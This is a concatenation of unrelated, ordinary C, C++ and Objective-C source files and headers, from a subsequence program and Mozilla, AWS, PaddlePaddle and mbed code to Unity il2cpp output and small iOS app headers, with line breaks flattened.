#include <stdio.h> #include <stdlib.h> #include <string.h> #define max(a, b) (a > b ? a : b) int arrSub[10]; int getLongestSubsequence(int *arr, int n) { int *lis = (int *)malloc(sizeof(int) * n); // memset(lis, 1, sizeof(int) * n); int j, i; for (i = 0; i < n; i++) lis[i] = 1; for (i = 1; i < n; i++) { // lis[i] = 1; for (j = 0; j < i; j++) { if (arr[j] < arr[i] && lis[i] < lis[j] + 1) { lis[i] = lis[j] + 1; } } } int max = 0; for (i = 0; i < n; i++) { printf("%d ", lis[i]); if (max < lis[i]) { max = lis[i]; } } printf("\n"); free(lis); return max; } int getLong(int *arr, int n, int i) { if (n - 1 - i == 1) { return 1; } else if (n - 1 - i == 2) { if (arr[i] < arr[i + 1]) { return 2; } else { return 0; } } else { if (arr[i] < arr[i + 1]) { return max(1 + getLong(arr, n, i + 1), getLong(arr, n, i + 2)); } else { return max(getLong(arr, n, i + 1), getLong(arr, n, i + 2)); } } } int main() { int n, *arr, i, t; scanf("%d",&t); while(t--) { scanf("%d", &n); arr = (int *)malloc(sizeof(int) * n); for (i = 0; i < n; i++) { scanf("%d", &arr[i]); } int lis = getLongestSubsequence(arr, n); // int lis = getLong(arr, n, 0); printf("%d\n", lis); } return 0; }
/* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ #ifndef BUFFER_STREAM_H_ #define BUFFER_STREAM_H_ #include "mp4_demuxer/Stream.h" #include "nsTArray.h" #include "MediaResource.h" namespace mozilla { class MediaByteBuffer; } namespace mp4_demuxer { class BufferStream : public Stream { public: /* BufferStream does not take ownership of aData nor does it make a copy. * Therefore BufferStream shouldn't get used after aData is destroyed. */ BufferStream(); explicit BufferStream(mozilla::MediaByteBuffer* aBuffer); virtual bool ReadAt(int64_t aOffset, void* aData, size_t aLength, size_t* aBytesRead) override; virtual bool CachedReadAt(int64_t aOffset, void* aData, size_t aLength, size_t* aBytesRead) override; virtual bool Length(int64_t* aLength) override; virtual void DiscardBefore(int64_t aOffset) override; bool AppendBytes(const uint8_t* aData, size_t aLength); mozilla::MediaByteRange GetByteRange(); private: ~BufferStream(); int64_t mStartOffset; nsRefPtr<mozilla::MediaByteBuffer> mData; }; } #endif
#include <stdio.h> #include "it_paperdragon_sbt_LibNotify__.h" // We need to call notifications from JNI code #include <glib.h> #include <unistd.h> #include <libnotify/notify.h> // globally held notification pointer to update the existing notificaiton // this is required because Ubuntu doesn't allow to hide notifications NotifyNotification* notification = NULL; /* * Class: it_paperdragon_sbt_LibNotify__ * Method: notifyInitializeInternal * Signature: (Ljava/lang/String;)Z */ JNIEXPORT jboolean JNICALL Java_it_paperdragon_sbt_LibNotify_00024_notifyInitializeInternal (JNIEnv* env, jobject this, jstring app_name) { const char* native_app_name = (*env)->GetStringUTFChars(env, app_name, NULL); gboolean success = notify_init(native_app_name); (*env)->ReleaseStringUTFChars(env, app_name, native_app_name); return success ? JNI_TRUE : JNI_FALSE; } /* * Class: it_paperdragon_sbt_LibNotify__ * Method: showNotificationInternal * Signature: (Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String; */ JNIEXPORT jstring JNICALL Java_it_paperdragon_sbt_LibNotify_00024_showNotificationInternal (JNIEnv* env, jobject this, jstring summary, jstring body, jstring icon) { GError* error = NULL; gboolean success; const char* native_summary = (*env)->GetStringUTFChars(env, summary, NULL); const char* native_body = (*env)->GetStringUTFChars(env, body, NULL); const char* native_icon = (*env)->GetStringUTFChars(env, icon, NULL); if (notification == NULL) { notification = notify_notification_new(native_summary, native_body, native_icon); } else { notify_notification_update(notification, native_summary, native_body, native_icon); } (*env)->ReleaseStringUTFChars(env, summary, native_summary); (*env)->ReleaseStringUTFChars(env, body, native_body); (*env)->ReleaseStringUTFChars(env, icon, native_icon); success = notify_notification_show (notification, &error); if (!success) { jstring jvm_error = (*env)->NewStringUTF(env, error->message); g_error_free (error); return jvm_error != NULL ? jvm_error : (*env)->NewStringUTF(env, "Error occurred!"); } else { return NULL; } } /* * Class: it_paperdragon_sbt_LibNotify__ * Method: notifyDestroyInternal * Signature: ()V */ JNIEXPORT void JNICALL Java_it_paperdragon_sbt_LibNotify_00024_notifyDestroyInternal (JNIEnv* env, jobject this) { notify_uninit (); }
/* -*- mode: C++ -*- */ /* * Copyright (C) 2007 Tarun Nimmagadda, Mickey Ristroph, Patrick Beeson * Copyright (C) 2010 Jack O'Quin * * License: Modified BSD Software License Agreement * * $Id: cf39ddab209e1c980cfc798f822945825ac9d172 $ */ /** \file C++ interface for the Graph data structure */ #ifndef __GRAPH_h__ #define __GRAPH_h__ #include <vector> #include <algorithm> #include <fstream> #include <cstdlib> #include <cmath> #include <rndf_visualizer/coordinates.h> #include <rndf_visualizer/types.h> typedef std::vector<WayPointEdge> WayPointEdgeList; typedef std::vector<WayPointNode> WayPointNodeList; typedef std::vector<WayPointNodeList> ZoneList; typedef std::vector<int> intList; class Graph{ public: Graph(){ nodes_size = 0; edges_size = 0; nodes=NULL; edges.clear(); }; Graph(uint num_nodes, uint num_edges, const WayPointNode nnodes[], const WayPointEdge nedges[]) { nodes_size=num_nodes; nodes = new WayPointNode[nodes_size]; for (uint i=0; i< num_nodes; i++) nodes[i]=nnodes[i]; edges_size=num_edges; edges.clear(); for (uint i=0; i< num_edges; i++) edges.push_back(nedges[i]); }; Graph(Graph& that){ this->nodes_size=that.nodes_size; this->nodes = new WayPointNode[this->nodes_size]; for (uint i=0; i< (uint)this->nodes_size; i++) this->nodes[i] = that.nodes[i]; this->edges_size=that.edges_size; this->edges=that.edges; }; ~Graph(){ if (this->nodes !=NULL) delete[] this->nodes; edges.clear(); }; //Operators //bool operator==(const Graph &that); bool compare(const Graph &that) { bool size_check = (this->nodes_size == that.nodes_size && this->edges_size == that.edges_size); bool node_check = true, edge_check = true; //REVERSE THIS BOOLEAN CHECK for (uint i=0; i< (uint)this->nodes_size; i++){ node_check = (this->nodes[i] == that.nodes[i]) && node_check; if (!node_check) printf("Node Number %d\n", i); } //REVERSE THIS BOOLEAN CHECK for (uint i=0; i< (uint)this->edges_size; i++) edge_check = (this->edges[i] == that.edges[i]) && edge_check; if (!size_check) printf("Graph Sizes don't match\n"); if (!node_check) printf("Graph Nodes don't match\n"); if (!edge_check) printf("Graph Edges don't match\n"); return (size_check && node_check && edge_check); } WayPointEdgeList edges_from(const waypt_index_t index) const; WayPointEdgeList edges_leaving_segment(const segment_id_t seg) const; // Hooks to save, reload Graph state void save(const char* fName); bool load(const char* fName); void clear(); void find_mapxy(void); void find_implicit_edges(); void xy_rndf(); bool rndf_is_gps(); void printNodes(); void printEdges(); // Print to a file (MQ 8/15/07) void printNodesFile(const char* fName); void printEdgesFile(const char* fName); // get node by ElementID (JOQ 8/25/07) WayPointNode *get_node_by_id(const ElementID id) const; WayPointNode* get_node_by_index(const waypt_index_t index) const; WayPointNode* get_closest_node(const MapXY &p) const; WayPointNode* get_closest_node_within_radius(const MapXY &p) const; WayPointNode* nodes; std::vector<WayPointEdge> edges; uint32_t nodes_size; uint32_t edges_size; bool passing_allowed(int index, int index2, bool left); bool lanes_in_same_direction(int index1,int index2, bool& left_lane); }; int parse_integer(std::string line, std::string token, bool& valid); WayPointNode parse_node(std::string line, bool& valid); WayPointEdge parse_edge(std::string line, bool& valid); #endif
#ifndef AUTHOR_H #define AUTHOR_H #include <QObject> #include <QString> #include <QVector> #include <QJsonObject> #include <QJsonArray> #include <vector> #include "src/Book.h" class Book; class QJsonArray; class QJsonObject; class Author { public: Author(); explicit Author(const QString & name, std::vector<QString> books = std::vector<QString>(), const QString &yearBirth = 0, const QString &yearDeath = 0, const QString & bio = "n/a"); Author(const Author & a); Author& operator = (const Author & a); bool operator ==(const Author &a) const; ~Author(); QString getName() const; QString getBio() const; QString getYearBirth() const; QString getYearDeath() const; QString getYearBirthInt() const; QString getYearDeathInt() const; std::vector<QString> getVector() const; bool addBook(const QString & book); bool exist(); void write(QJsonObject &json) const; void read(const QJsonObject & json); //debug private: QString *name; std::vector<QString> *books;//Oriunde avem carti, optimizam eficienta pastrand doar titlul si cautand cartea in baza de date QString *yearBirth; QString *yearDeath; QString *bio; bool _exist; }; #endif // AUTHOR_H
// // AppDelegate+Notification.h // NSNotification_ZM // // Created by ZM on 2017/2/13. // Copyright © 2017年 ZM. All rights reserved. // #import "AppDelegate.h" #import <UserNotifications/UserNotifications.h> @interface AppDelegate (Notification) <UNUserNotificationCenterDelegate> { } /** * 注册本地通知 */ - (void)registerNotification; /** 本地推送1:使用 UNNotification 本地通知 @param alerTime 一段时间后通知 @param title 标题 @param body 内容 @param userInfo 设置一些额外的信息 */ + (void)registerUNNotification:(NSInteger )alerTime title:(NSString *)title body:(NSString *)body userInfo:(NSDictionary *)userInfo; /** 本地推送2:使用 UINotification 本地通知 @param alerTime 一段时间后通知 @param title 标题 @param body 内容 @param action 设置锁屏时,字体下方显示的一个文字 @param userInfo 设置一些额外的信息 */ + (void)registerUINotification:(NSInteger )alerTime title:(NSString *)title body:(NSString *)body action:(NSString *)action userInfo:(NSDictionary *)userInfo; @end
// // IFFileBasedSchemeHandler.h // EventPacComponents // // Created by Julian Goacher on 13/03/2013. // Copyright (c) 2013 InnerFunction. All rights reserved. // #import <Foundation/Foundation.h> #import "IFResource.h" #import "IFFileResource.h" // Scheme handler for resolving files at specified paths. Instances of this handler are // initialized with directory search paths (defined using standard NS file definitions). // The handler will then attempt to resolve files under those search directories. The // URI scheme specific part is used to specify the file path. @interface IFFileBasedSchemeHandler : NSObject <IFSchemeHandler> { NSArray* paths; NSFileManager *fileManager; } - (id)initWithDirectory:(NSSearchPathDirectory)directory; - (id)initWithPath:(NSString*)path; - (IFResource *)dereference:(IFCompoundURI *)uri againstPath:(NSString *)path; @end
/** * Copyright (c) 2009 Alex Fajkowski, Apparent Logic LLC * * Permission is hereby granted, free of charge, to any person * obtaining a copy of this software and associated documentation * files (the "Software"), to deal in the Software without * restriction, including without limitation the rights to use, * copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the * Software is furnished to do so, subject to the following * conditions: * * The above copyright notice and this permission notice shall be * included in all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, * EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES * OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND * NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT * HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, * WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING * FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR * OTHER DEALINGS IN THE SOFTWARE. */ #if defined(USE_TI_UIIOSCOVERFLOWVIEW) || defined(USE_TI_UICOVERFLOWVIEW) #import <UIKit/UIKit.h> // BIRetreat2015 modification note: // using categories with static libraries don't seem to work // right on device with iphone - probably a symbol issue // turn this into a static function (from what was a category to UIImage // originally) UIImage* AddImageReflection(UIImage *src, CGFloat reflectionFraction); #endif
/* * Copyright 2010-2016 Amazon.com, Inc. or its affiliates. All Rights Reserved. * * Licensed under the Apache License, Version 2.0 (the "License"). * You may not use this file except in compliance with the License. * A copy of the License is located at * * http://aws.amazon.com/apache2.0 * * or in the "license" file accompanying this file. This file is distributed * on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either * express or implied. See the License for the specific language governing * permissions and limitations under the License. */ #pragma once #include <aws/route53domains/Route53Domains_EXPORTS.h> #include <aws/core/utils/memory/stl/AWSString.h> namespace Aws { namespace Utils { namespace Json { class JsonValue; } // namespace Json } // namespace Utils namespace Route53Domains { namespace Model { class AWS_ROUTE53DOMAINS_API DomainSuggestion { public: DomainSuggestion(); DomainSuggestion(const Aws::Utils::Json::JsonValue& jsonValue); DomainSuggestion& operator=(const Aws::Utils::Json::JsonValue& jsonValue); Aws::Utils::Json::JsonValue Jsonize() const; inline const Aws::String& GetDomainName() const{ return m_domainName; } inline void SetDomainName(const Aws::String& value) { m_domainNameHasBeenSet = true; m_domainName = value; } inline void SetDomainName(Aws::String&& value) { m_domainNameHasBeenSet = true; m_domainName = value; } inline void SetDomainName(const char* value) { m_domainNameHasBeenSet = true; m_domainName.assign(value); } inline DomainSuggestion& WithDomainName(const Aws::String& value) { SetDomainName(value); return *this;} inline DomainSuggestion& WithDomainName(Aws::String&& value) { SetDomainName(value); return *this;} inline DomainSuggestion& WithDomainName(const char* value) { SetDomainName(value); return *this;} inline const Aws::String& GetAvailability() const{ return m_availability; } inline void SetAvailability(const Aws::String& value) { m_availabilityHasBeenSet = true; m_availability = value; } inline void SetAvailability(Aws::String&& value) { m_availabilityHasBeenSet = true; m_availability = value; } inline void SetAvailability(const char* value) { m_availabilityHasBeenSet = true; m_availability.assign(value); } inline DomainSuggestion& WithAvailability(const Aws::String& value) { SetAvailability(value); return *this;} inline DomainSuggestion& WithAvailability(Aws::String&& value) { SetAvailability(value); return *this;} inline DomainSuggestion& WithAvailability(const char* value) { SetAvailability(value); return *this;} private: Aws::String m_domainName; bool m_domainNameHasBeenSet; Aws::String m_availability; bool m_availabilityHasBeenSet; }; } // namespace Model } // namespace Route53Domains } // namespace Aws
/* Copyright (c) 2022 PaddlePaddle Authors. All Rights Reserved. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ #pragma once #include <string> namespace phi { namespace dynload { #ifndef _WIN32 #define DECLARE_TYPE(__name, ...) decltype(__name(__VA_ARGS__)) #else #define DECLARE_TYPE(__name, ...) decltype(auto) #endif void* GetCublasDsoHandle(); void* GetCublasLtDsoHandle(); void* GetCUDNNDsoHandle(); void* GetCUPTIDsoHandle(); void* GetCurandDsoHandle(); void* GetNvjpegDsoHandle(); void* GetCusolverDsoHandle(); void* GetCusparseDsoHandle(); void* GetNVRTCDsoHandle(); void* GetCUDADsoHandle(); void* GetWarpCTCDsoHandle(); void* GetNCCLDsoHandle(); void* GetHCCLDsoHandle(); void* GetTensorRtDsoHandle(); void* GetMKLMLDsoHandle(); void* GetLAPACKDsoHandle(); void* GetOpDsoHandle(const std::string& dso_name); void* GetNvtxDsoHandle(); void* GetCUFFTDsoHandle(); void* GetMKLRTDsoHandle(); void* GetROCFFTDsoHandle(); void SetPaddleLibPath(const std::string&); } // namespace dynload } // namespace phi
#pragma once // Atlas includes #include "Atlas/Scene.h" #include "Atlas/Input.h" #include "../CheckersGameState.h" namespace AtlasCheckers { class GameScene : public Atlas::Scene { public: GameScene(std::string name); // Overidden scene methods virtual void UpdateScene(double frameDelta); virtual void SceneLoaded(); virtual void InputProcessing(Atlas::Input* input); private: virtual void LoadDynamicAssets(); void AddBoardTile(int xPos, int zPos, bool isWhite); void AddPiece(int xPos, int zPos, int numID, PlayerColours colour); glm::vec3 _redCamHome; glm::vec3 _whiteCamHome; double _uiTick; bool _stateUpdatePending; // Scene elements Atlas::Text* _turnLabel; Atlas::Text* _turnCountLabel; Atlas::Text* _whiteCapturesLabel; Atlas::Text* _redCapturesLabel; Atlas::Text* _infoLabel; Atlas::EntityInstance* _redSelect; Atlas::EntityInstance* _whiteSelect; // State variables CheckersGameState _state; // Sounds unsigned int _sndOK; unsigned int _sndNO; }; }
/* * BufferPtrTestTest.h * * Created on: 14 juil. 2015 * Author: FrancisANDRE */ #ifndef SHAREDBUFFERTEST_H_ #define SHAREDBUFFERTEST_H_ #include <stack> using std::stack; #include "Poco/AutoPtr.h" #include "Poco/SharedPtr.h" #include "Poco/Foundation.h" #include "CppUnit/TestCase.h" #include "als/base/util/Buffer.h" namespace ALS { namespace BASE { namespace UTIL { class BufferPtrTest : public CppUnit::TestCase { private: BufferPtr csb; Buffer* b1 = nullptr; Buffer* b2 = nullptr; Buffer* b3 = nullptr; Buffer* b4 = nullptr; stack<const BufferPtr> stack; public: BufferPtrTest(const std::string& name); ~BufferPtrTest(); void testBufferPtr(); void setUp(); void tearDown(); static CppUnit::Test* suite(); private: void set(const SharedBuffer& nsdu); void insert(const SharedBuffer& nsdu); void reorder(); void use(); void del(); }; } } } #endif
#ifndef __VectorBlurImageFilter_h #define __VectorBlurImageFilter_h #include "itkImageToImageFilter.h" #include "itkImage.h" template <class TInputImage, class TOutputImage> class VectorBlurImageFilter : public itk::ImageToImageFilter< TInputImage, TOutputImage > { public: /** Extract dimension from input and output image. */ itkStaticConstMacro(InputImageDimension, unsigned int, TInputImage::ImageDimension); itkStaticConstMacro(OutputImageDimension, unsigned int, TOutputImage::ImageDimension); /** Convenient typedefs for simplifying declarations. */ typedef TInputImage InputImageType; typedef TOutputImage OutputImageType; /** Standard class typedefs. */ typedef VectorBlurImageFilter Self; typedef itk::ImageToImageFilter< InputImageType, OutputImageType> Superclass; typedef itk::SmartPointer<Self> Pointer; typedef itk::SmartPointer<const Self> ConstPointer; /** Method for creation through the object factory. */ itkNewMacro(Self); /** Run-time type information (and related methods). */ itkTypeMacro(VectorBlurImageFilter, itk::ImageToImageFilter); /** Image typedef support. */ typedef typename InputImageType::PixelType InputPixelType; typedef typename OutputImageType::PixelType OutputPixelType; typedef typename InputImageType::RegionType InputImageRegionType; typedef typename OutputImageType::RegionType OutputImageRegionType; typedef typename InputImageType::SizeType InputSizeType; /** Set the radius of the neighborhood used to compute the mean. */ itkSetMacro(Radius, InputSizeType); itkSetMacro(Variance, double); /** Get the radius of the neighborhood used to compute the mean */ itkGetConstReferenceMacro(Radius, InputSizeType); /** MeanImageFilter needs a larger input requested region than * the output requested region. As such, MeanImageFilter needs * to provide an implementation for GenerateInputRequestedRegion() * in order to inform the pipeline execution model. * * \sa ImageToImageFilter::GenerateInputRequestedRegion() */ virtual void GenerateInputRequestedRegion() throw(itk::InvalidRequestedRegionError); protected: VectorBlurImageFilter(); virtual ~VectorBlurImageFilter() {} void PrintSelf(std::ostream& os, itk::Indent indent) const; /** MeanImageFilter can be implemented as a multithreaded filter. * Therefore, this implementation provides a ThreadedGenerateData() * routine which is called for each processing thread. The output * image data is allocated automatically by the superclass prior to * calling ThreadedGenerateData(). ThreadedGenerateData can only * write to the portion of the output image specified by the * parameter "outputRegionForThread" * * \sa ImageToImageFilter::ThreadedGenerateData(), * ImageToImageFilter::GenerateData() */ void ThreadedGenerateData(const OutputImageRegionType& outputRegionForThread, int threadId ); private: VectorBlurImageFilter(const Self&); //purposely not implemented void operator=(const Self&); //purposely not implemented double m_Variance; InputSizeType m_Radius; }; #ifndef MU_MANUAL_INSTANTIATION #include "VectorBlurImageFilter.txx" #endif #endif
// Copyright 2018 Google LLC // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // https://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. #ifndef GOOGLE_CLOUD_CPP_GOOGLE_CLOUD_BIGTABLE_TESTING_MOCK_READ_ROWS_READER_H #define GOOGLE_CLOUD_CPP_GOOGLE_CLOUD_BIGTABLE_TESTING_MOCK_READ_ROWS_READER_H #include "google/cloud/bigtable/testing/mock_response_reader.h" #include "google/cloud/testing_util/mock_async_response_reader.h" #include <google/bigtable/v2/bigtable.grpc.pb.h> #include <gmock/gmock.h> namespace google { namespace cloud { namespace bigtable { namespace testing { using MockReadRowsReader = MockResponseReader<google::bigtable::v2::ReadRowsResponse, google::bigtable::v2::ReadRowsRequest>; using MockAsyncReadRowsReader = ::google::cloud::testing_util::MockAsyncResponseReader< google::bigtable::v2::ReadRowsResponse>; } // namespace testing } // namespace bigtable } // namespace cloud } // namespace google #endif // GOOGLE_CLOUD_CPP_GOOGLE_CLOUD_BIGTABLE_TESTING_MOCK_READ_ROWS_READER_H
/* * Copyright 2010-2017 Amazon.com, Inc. or its affiliates. All Rights Reserved. * * Licensed under the Apache License, Version 2.0 (the "License"). * You may not use this file except in compliance with the License. * A copy of the License is located at * * http://aws.amazon.com/apache2.0 * * or in the "license" file accompanying this file. This file is distributed * on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either * express or implied. See the License for the specific language governing * permissions and limitations under the License. */ #pragma once #ifdef _MSC_VER //disable windows complaining about max template size. #pragma warning (disable : 4503) #endif // _MSC_VER #if defined (USE_WINDOWS_DLL_SEMANTICS) || defined (_WIN32) #ifdef _MSC_VER #pragma warning(disable : 4251) #endif // _MSC_VER #ifdef USE_IMPORT_EXPORT #ifdef AWS_SERVICEQUOTAS_EXPORTS #define AWS_SERVICEQUOTAS_API __declspec(dllexport) #else #define AWS_SERVICEQUOTAS_API __declspec(dllimport) #endif /* AWS_SERVICEQUOTAS_EXPORTS */ #else #define AWS_SERVICEQUOTAS_API #endif // USE_IMPORT_EXPORT #else // defined (USE_WINDOWS_DLL_SEMANTICS) || defined (WIN32) #define AWS_SERVICEQUOTAS_API #endif // defined (USE_WINDOWS_DLL_SEMANTICS) || defined (WIN32)
/* mbed Microcontroller Library * Copyright (c) 2006-2013 ARM Limited * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ #include "mbed_assert.h" #include "pinmap.h" #include "error.h" void pin_function(PinName pin, int function) { MBED_ASSERT(pin != (PinName)NC); __IO uint32_t *reg = (__IO uint32_t*)(LPC_IOCON_BASE + (pin & 0x1FF)); // pin function bits: [2:0] -> 111 = (0x7) *reg = (*reg & ~0x7) | (function & 0x7); } void pin_mode(PinName pin, PinMode mode) { MBED_ASSERT(pin != (PinName)NC); if ((pin == P0_4) || (pin == P0_5)) { // The true open-drain pins PIO0_4 and PIO0_5 can be configured for different I2C-bus speeds. return; } __IO uint32_t *reg = (__IO uint32_t*)(LPC_IOCON_BASE + (pin & 0x1FF)); if (mode == OpenDrain) { *reg |= (1 << 10); } else { uint32_t tmp = *reg; tmp &= ~(0x3 << 3); tmp |= (mode & 0x3) << 3; *reg = tmp; } }
// // BoolLessThanOrEquals.h // InspirationBasic // // Created by Timothy Swan on 6/2/14. // Copyright (c) 2014 ___InspirationTeam___. All rights reserved. // #import <Foundation/Foundation.h> #import "BoolExpression.h" #import "IntExpression.h" @interface BoolLessThanOrEquals : NSObject<BoolExpression> @property (nonatomic) id <IntExpression> expression1; @property (nonatomic) id <IntExpression> expression2; - (id) initWith: (id <IntExpression>) expression1 LessThanOrEquals:(id <IntExpression>) expression2; - (bool) evaluateAgainst: (EnvironmentModel *) environment; - (void) accept:(id <ExpressionVisitor>) visitor; @end
/* * Licensed to the Apache Software Foundation (ASF) under one or more * contributor license agreements. See the NOTICE file distributed with * this work for additional information regarding copyright ownership. * The ASF licenses this file to You under the Apache License, Version 2.0 * (the "License"); you may not use this file except in compliance with * the License. You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ #ifndef JAXC_BADGERFISH_WRITER #define JAXC_BADGERFISH_WRITER #include <stdio.h> #include <stdlib.h> #include <string.h> #include <axutil_utils.h> #include <axiom.h> #include <axutil_stack.h> #include <jaxc_writer_element.h> typedef struct jaxc_badgerfish_writer_s { struct json_object* converted_json_obj; axis2_char_t* converted_xml_string; axiom_node_t* base_node; axutil_stack_t* writer_element_stack; }jaxc_badgerfish_writer_t; jaxc_badgerfish_writer_t* jaxc_badgerfish_writer_create(const axutil_env_t *env); void jaxc_badgerfish_writer_write (jaxc_badgerfish_writer_t* badgerfish_writer, axiom_node_t* root_node, const axutil_env_t *env); void jaxc_badgerfish_writer_free(jaxc_badgerfish_writer_t* badgerfish_writer, const axutil_env_t *env); /* This Method returns the converted xml string in the form of a JSON string */ axis2_char_t* jaxc_badgerfish_writer_get_converted_xml_str (jaxc_badgerfish_writer_t* badgerfish_writer, const axutil_env_t *env); #endif
/******************************************************************************* * Copyright 2016 Francesco Calimeri, Davide Fusca', Simona Perri and Jessica Zangari * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. *******************************************************************************/ /* * Buffer.h * * Created on: 20/apr/2014 * Author: ricca */ #ifndef BUFFER_H_ #define BUFFER_H_ #include<vector> #include<ostream> #include<cstring> namespace DLV2 { class Buffer { friend inline std::ostream& operator<<(Buffer&, std::ostream&); public: Buffer(); void addBlock(char*, int); void lastBlock(); void writeBlock(unsigned i, std::ostream&); void flushOn(std::ostream& o); virtual ~Buffer(); private: unsigned lastBlockSize; Buffer(const Buffer&){ exit(122); }; std::vector<char*> blocks; }; std::ostream& operator<<( Buffer& b, std::ostream& o ) { for(unsigned i = 0; i < b.blocks.size(); ++i) b.writeBlock(i,o); return o; } }; #endif /* BUFFER_H_ */
#pragma once #include "il2cpp-config.h" #ifndef _MSC_VER # include <alloca.h> #else # include <malloc.h> #endif #include <stdint.h> #include <assert.h> #include <exception> // UnityEngine.GUILayoutOption struct GUILayoutOption_t331591504; // System.Object struct Il2CppObject; #include "codegen/il2cpp-codegen.h" #include "UnityEngine_UnityEngine_GUILayoutOption_Type957706982.h" #include "mscorlib_System_Object4170816371.h" // System.Void UnityEngine.GUILayoutOption::.ctor(UnityEngine.GUILayoutOption/Type,System.Object) extern "C" void GUILayoutOption__ctor_m573459815 (GUILayoutOption_t331591504 * __this, int32_t ___type0, Il2CppObject * ___value1, const MethodInfo* method) IL2CPP_METHOD_ATTR;
#pragma once #include "il2cpp-config.h" #ifndef _MSC_VER # include <alloca.h> #else # include <malloc.h> #endif #include <stdint.h> // System.Byte[] struct ByteU5BU5D_t58506160; #include "mscorlib_System_Object837106420.h" #ifdef __clang__ #pragma clang diagnostic push #pragma clang diagnostic ignored "-Winvalid-offsetof" #pragma clang diagnostic ignored "-Wunused-variable" #endif // Mono.Security.Cryptography.PKCS1 struct PKCS1_t3821523996 : public Il2CppObject { public: public: }; struct PKCS1_t3821523996_StaticFields { public: // System.Byte[] Mono.Security.Cryptography.PKCS1::emptySHA1 ByteU5BU5D_t58506160* ___emptySHA1_0; // System.Byte[] Mono.Security.Cryptography.PKCS1::emptySHA256 ByteU5BU5D_t58506160* ___emptySHA256_1; // System.Byte[] Mono.Security.Cryptography.PKCS1::emptySHA384 ByteU5BU5D_t58506160* ___emptySHA384_2; // System.Byte[] Mono.Security.Cryptography.PKCS1::emptySHA512 ByteU5BU5D_t58506160* ___emptySHA512_3; public: inline static int32_t get_offset_of_emptySHA1_0() { return static_cast<int32_t>(offsetof(PKCS1_t3821523996_StaticFields, ___emptySHA1_0)); } inline ByteU5BU5D_t58506160* get_emptySHA1_0() const { return ___emptySHA1_0; } inline ByteU5BU5D_t58506160** get_address_of_emptySHA1_0() { return &___emptySHA1_0; } inline void set_emptySHA1_0(ByteU5BU5D_t58506160* value) { ___emptySHA1_0 = value; Il2CppCodeGenWriteBarrier(&___emptySHA1_0, value); } inline static int32_t get_offset_of_emptySHA256_1() { return static_cast<int32_t>(offsetof(PKCS1_t3821523996_StaticFields, ___emptySHA256_1)); } inline ByteU5BU5D_t58506160* get_emptySHA256_1() const { return ___emptySHA256_1; } inline ByteU5BU5D_t58506160** get_address_of_emptySHA256_1() { return &___emptySHA256_1; } inline void set_emptySHA256_1(ByteU5BU5D_t58506160* value) { ___emptySHA256_1 = value; Il2CppCodeGenWriteBarrier(&___emptySHA256_1, value); } inline static int32_t get_offset_of_emptySHA384_2() { return static_cast<int32_t>(offsetof(PKCS1_t3821523996_StaticFields, ___emptySHA384_2)); } inline ByteU5BU5D_t58506160* get_emptySHA384_2() const { return ___emptySHA384_2; } inline ByteU5BU5D_t58506160** get_address_of_emptySHA384_2() { return &___emptySHA384_2; } inline void set_emptySHA384_2(ByteU5BU5D_t58506160* value) { ___emptySHA384_2 = value; Il2CppCodeGenWriteBarrier(&___emptySHA384_2, value); } inline static int32_t get_offset_of_emptySHA512_3() { return static_cast<int32_t>(offsetof(PKCS1_t3821523996_StaticFields, ___emptySHA512_3)); } inline ByteU5BU5D_t58506160* get_emptySHA512_3() const { return ___emptySHA512_3; } inline ByteU5BU5D_t58506160** get_address_of_emptySHA512_3() { return &___emptySHA512_3; } inline void set_emptySHA512_3(ByteU5BU5D_t58506160* value) { ___emptySHA512_3 = value; Il2CppCodeGenWriteBarrier(&___emptySHA512_3, value); } }; #ifdef __clang__ #pragma clang diagnostic pop #endif
// // AppConst.h // telnetIosApp // // Created by 姜易成 on 2017/8/30. // Copyright © 2017年 姜易成. All rights reserved. // #import <Foundation/Foundation.h> @interface AppConst : NSObject @end
